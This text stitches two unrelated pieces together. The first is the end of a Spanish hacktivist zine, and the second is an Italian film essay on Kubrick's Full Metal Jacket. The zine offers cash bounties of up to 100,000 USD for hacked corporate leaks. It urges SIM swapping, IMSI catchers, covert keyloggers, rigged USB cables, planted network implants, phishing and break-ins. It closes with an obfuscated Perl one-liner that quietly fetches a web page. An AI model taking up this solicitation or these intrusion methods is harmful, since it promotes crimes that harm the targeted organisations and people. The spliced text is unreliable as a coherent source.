costa de destruir elplaneta (y allá por los 80s las propias empresas ya sabían de las consecuenciasde su actividad [1]). Pero si les hackeas directamente, tendrás que bucear entreuna increíble cantidad de información aburridísima acerca de sus operacionescotidianas. Muy probablemente te va a ser mucho más fácil encontrar algointeresante si en cambio te enfocas en sus lobbistas [2]. Otra manera deseleccionar objetivos viables es leyendo historias de periodistas deinvestigación (como [3]), que son interesantes pero carecen de evidenciassólidas. Y eso es exactamente lo que tus hackeos pueden encontrar.Pagaré hasta 100 mil USD por cada filtración de este tipo, según el interés público e impacto del material, y el laburo requerido en el hackeo. Sobra decirque una filtración completa de los documentos y comunicaciones internas dealguna de estas empresas supondrá un beneficio para la sociedad que sobrepasaesos cien mil, pero no estoy tratando de enriquecer a nadie. Sólo quiero proveerde fondos suficientes para que las hackers puedan ganarse la vida de forma dignahaciendo un buen trabajo. Por limitaciones de tiempo y consideraciones deseguridad no voy a abrir el material, ni a inspeccionarlo por mí misma, sino queleeré lo que la prensa diga al respecto una vez se haya publicado, y haré unaestimación del interés público a partir de ahí. Mi información de contacto estáal final de la guía mencionada antes [4].Cómo obtengas el material es cosa tuya. Puedes usar las técnicas tradicionales de hacking esbozadas en esta guía y la anterior [4]. Podrías hacerle una simswap [5] a un empresario o politiquero corrupto, y luego descargar sus correos ybackups desde la nube. Puedes pedir un IMSI catcher de alibaba y usarlo afuerade sus oficinas. Puedes hacer un poco de war-driving (del antiguo o del nuevo[6]). Puede que seas una persona dentro de sus organizaciones que ya tieneacceso. Puedes optar por un estilo low-tech tipo old-school como en [7] y [8], ysencillamente colarte en sus oficinas. Lo que sea que te funcione.[1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/ sep/19/shell-and-exxons-secret-1980s-climate-change-warnings[2] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/[3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/[4] https://www.exploit-db.com/papers/41914[5] https://www.vice.com/en_us/article/vbqax3/ hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin[6] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse- is-my-keyboard/[7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI[8] https://en.wikipedia.org/wiki/Unnecessary_Fuss----[ 14.1 - Pagos parciales ]--------------------------------------------------¿Eres una camarera de buen corazón que trabaja en una compañía del mal [1]?¿Estarías dispuesta a introducir sigilosamente un keylogger físico en lacomputadora de un ejecutivo, a cambiar su cable de carga USB por uno modificado[2], esconder un micro en alguna sala de reuniones donde planean susatrocidades, o a dejar uno de estos [3] olvidado en algún rincón de lasoficinas? [1] https://en.wikipedia.org/wiki/Evil_maid_attack[2] http://mg.lol/blog/defcon-2019/[3] https://shop.hak5.org/products/lan-turtle¿Eres bueno con ingeniería social y phishing, y conseguiste una shell en la computadora de un empleado, o por ahí conseguiste sus credenciales de la vpnusando phishing? ¿Pero quizás no pudiste conseguir admin de dominio y descargarlo que querías?¿Participaste en programas de bug bounties y te convertiste en una experta enel hacking de aplicaciones web, pero no tienes suficiente experiencia hackerpara penetrar completamente la compañía?¿Tienes facilidad con la ingeniería inversa? Escanea algunas compañías del malpara ver qué dispositivos tienen expuestos a internet (firewall, vpn, y pasarelas de correo electrónico serán mucho más útiles que cosas como cámarasIP), aplícales ingeniería inversa y encuentra alguna vulnerabilidad explotablede forma remota.Si me es posible trabajar con vos para penetrar la compañía y conseguir materialde interés público, igualmente serás recompensada por tu trabajo. Si es que notengo el tiempo de trabajar en ello yo misma, al menos trataré de aconsejarteacerca de cómo continuar hasta que puedas completar el hackeo por tu cuenta.Apoyar a aquellos en el poder para hackear y vigilar a disidentes, activistas ya la población en general es hoy día una industria de varios miles de millonesde dólares, mientras que hackear y exponer a quienes están en el poder es untrabajo voluntario y arriesgado. Convertirlo en una industria de varios millonesde dólares ciertamente no va a arreglar ese desequilibrio de poder, ni va asolucionar los problemas de la sociedad. Pero creo que va a ser divertido. Asíque... ¡ya quiero ver gente comenzando a cobrar sus recompensas!--[ 15 - Abolir las prisiones ]------------------------------------------------- Construidas por el enemigo pa encerrar ideas encerrando compañeros pa acallar gritos de guerra es el centro de tortura y aniquilamiento donde el ser humano se vuelve más violento es el reflejo de la sociedad, represiva y carcelaria sostenida y basada en lógicas autoritarias custodiadas reprimidos y vigilados miles de presas y presos son exterminados ante esta máquina esquizofrénica y despiadada compañero Axel Osorio dando la pela en la cana rompiendo el aislamiento y el silenciamiento fuego y guerra a la cárcel, vamos destruyendo! Rap Insurrecto - Palabras En ConflictoSería típico terminar un zine hacker diciendo liberen a hammond, liberen amanning, liberen a hamza, liberen a los detenidos por el montaje del дело Сети,etc. Voy a llevar esta tradición a su consecuencia más radical [1], y a decir:¡hay que abolir las prisiones ya!. Siendo yo misma una delincuente, puedenpensar que lo que ocurre es que tengo una visión un poco sesgada del asunto.Pero en serio, es que ni siquiera es un tema controvertido, incluso la ONU estáprácticamente de acuerdo [2]. Así que, de una buena vez, liberen a las personasmigrantes [3][4][5][6], encarceladas a menudo por esos mismos países que crearonla guerra y la destrucción ambiental y económica de la que huyen. Liberen atodos los que están en prisión por la guerra contra quienes usan drogas [7].Liberen a todas las personas encarceladas por la guerra contra los pobres [8].Las prisiones lo único que hacen es esconder e ignorar la prueba de laexistencia de los problemas sociales, en lugar de arreglarlos de a de veras. Yhasta que todxs sean liberados, lucha contra el sistema carcelario recordando yteniendo presentes a aquellos que están atrapados ahí dentro. Envíales cariño,cartas, helicópteros [9], radios piratas [10] y libros, y apoya a quienes seorganizan desde ahí adentro [11][12].[1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/ Davis-Son-obsoletas-las-prisiones-final.pdf[2] http://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_ Promising_Practices_on_Alternatives_to_Imprisonment.pdf[3] https://www.theguardian.com/us-news/2016/dec/21/ us-immigration-detention-center-christmas-santa-wish-list[4] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility- images-tucson-arizona[5] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros- Espana_22648665.html[6] https://www.nytimes.com/2019/06/26/world/australia/ australia-manus-suicide.html[7] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes[8] VI, 2. i. La multa impaga: https://scielo.conicyt.cl/scielo.php?script= sci_arttext&pid=S0718-00122012000100005[9] p. 10, Libelo Nº2. Boletín político desde la Cárcel de Alta Seguridad[10] https://itsgoingdown.org/transmissions-hostile-territory/[11] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/[12] https://incarceratedworkers.org/--[ 16 - Conclusión ]-----------------------------------------------------------Nuestro mundo está patas arriba [1]. Tenemos un sistema de justicia querepresenta a la injusticia. La ley y el orden están ahí para crear una ilusiónde paz social, y ocultar lo sistemático y profundo de la explotación, laviolencia, y la injusticia. Mejor seguir a tu conciencia, y no a la ley.[1] http://resistir.info/livros/galeano_patas_arriba.pdfLos hombres de negocios se enriquecen maltratando a las personas y al planeta,mientras que el trabajo de los cuidados queda mayormente sin pagar. Mediante elasalto a todo lo comunal, de algún modo hemos levantado ciudades densamentepobladas, plagadas por la soledad y el aislamiento. El sistema cultural,político y económico en que vivimos alienta las peores facetas de la naturalezahumana: la avaricia, el egoísmo y egocentrismo, la competitividad, la falta decompasión y el apego por la autoridad. Así que, para quien haya conseguidopermanecer sensible y compasivo en un mundo frío, para todas las heroínascotidianas que practican la bondad en las pequeñas cosas, para todas ustedes queaún tienen una estrella encendida en sus corazones: гоpи, гоpи ясно, чтобы непогасло! _____________________ < ¡Cantemos juntas! > --------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || Ábrete corazón Ábrete sentimiento Ábrete entendimiento Deja a un lado la razón Y deja brillar el sol escondido en tu interior perl -Mre=eval <<\EOF '' =~( '(?' .'{'.( '`'|'%' ).("\["^ '-').('`'| '!').("\`"| ',').'"(\\$' .':=`'.(('`')| '#').('['^'.'). ('['^')').("\`"| ',').('{'^'[').'-'.('['^'(').('{'^'[').('`'|'(').('['^'/').('['^'/').( '['^'+').('['^'(').'://'.('`'|'%').('`'|'.').('`'|',').('`'|'!').("\`"| '#').('`'|'%').('['^'!').('`'|'!').('['^'+').('`'|'!').('['^"\/").( '`'|')').('['^'(').('['^'/').('`'|'!').'.'.('`'|'%').('['^'!') .('`'|',').('`'|'.').'.'.('`'|'/').('['^')').('`'|"\'"). '.'.('`'|'-').('['^'#').'/'.('['^'(').('`'|('$')).( '['^'(').('`'|',').'-'.('`'|'%').('['^('(')). '/`)=~'.('['^'(').'|</'.('['^'+').'>|\\' .'\\'.('`'|'.').'|'.('`'|"'").';'. '\\$:=~'.('['^'(').'/<.*?>//' .('`'|"'").';'.('['^'+').('['^ ')').('`'|')').('`'|'.').(('[')^ '/').('{'^'[').'\\$:=~/('.(('{')^ '(').('`'^'%').('{'^'#').('{'^'/') .('`'^'!').'.*?'.('`'^'-').('`'|'%') .('['^'#').("\`"| ')').('`'|'#').( '`'|'!').('`'| '.').('`'|'/') .'..)/'.('[' ^'(').'"})') ;$:="\."^ '~';$~='@' |'(';$^= ')'^'['; $/='`' |'.'; $,= '(' EOF Nosotras nacimos de la noche. en ella vivimos, hackeamos en ella. Aquí estamos, somos la dignidad rebelde, el corazón olvidado de la Интернет. Nuestra lucha es por la memoria y la justicia, y el mal gobierno se llena de criminales y asesinos. Nuestra lucha es por un trabajo justo y digno, y el mal gobierno y las corporaciones compran y venden zero days. Para todas el mañana. Para nosotras la alegre rebeldía de las filtraciones y la expropiación. Para todas todo. Para nosotras nada. Desde las montañas del Sureste Cibernético, _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)También en:- @danicotillas@comunicacionabierta.net/112237720177779394" rel="syndication"> indieweb
-
La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
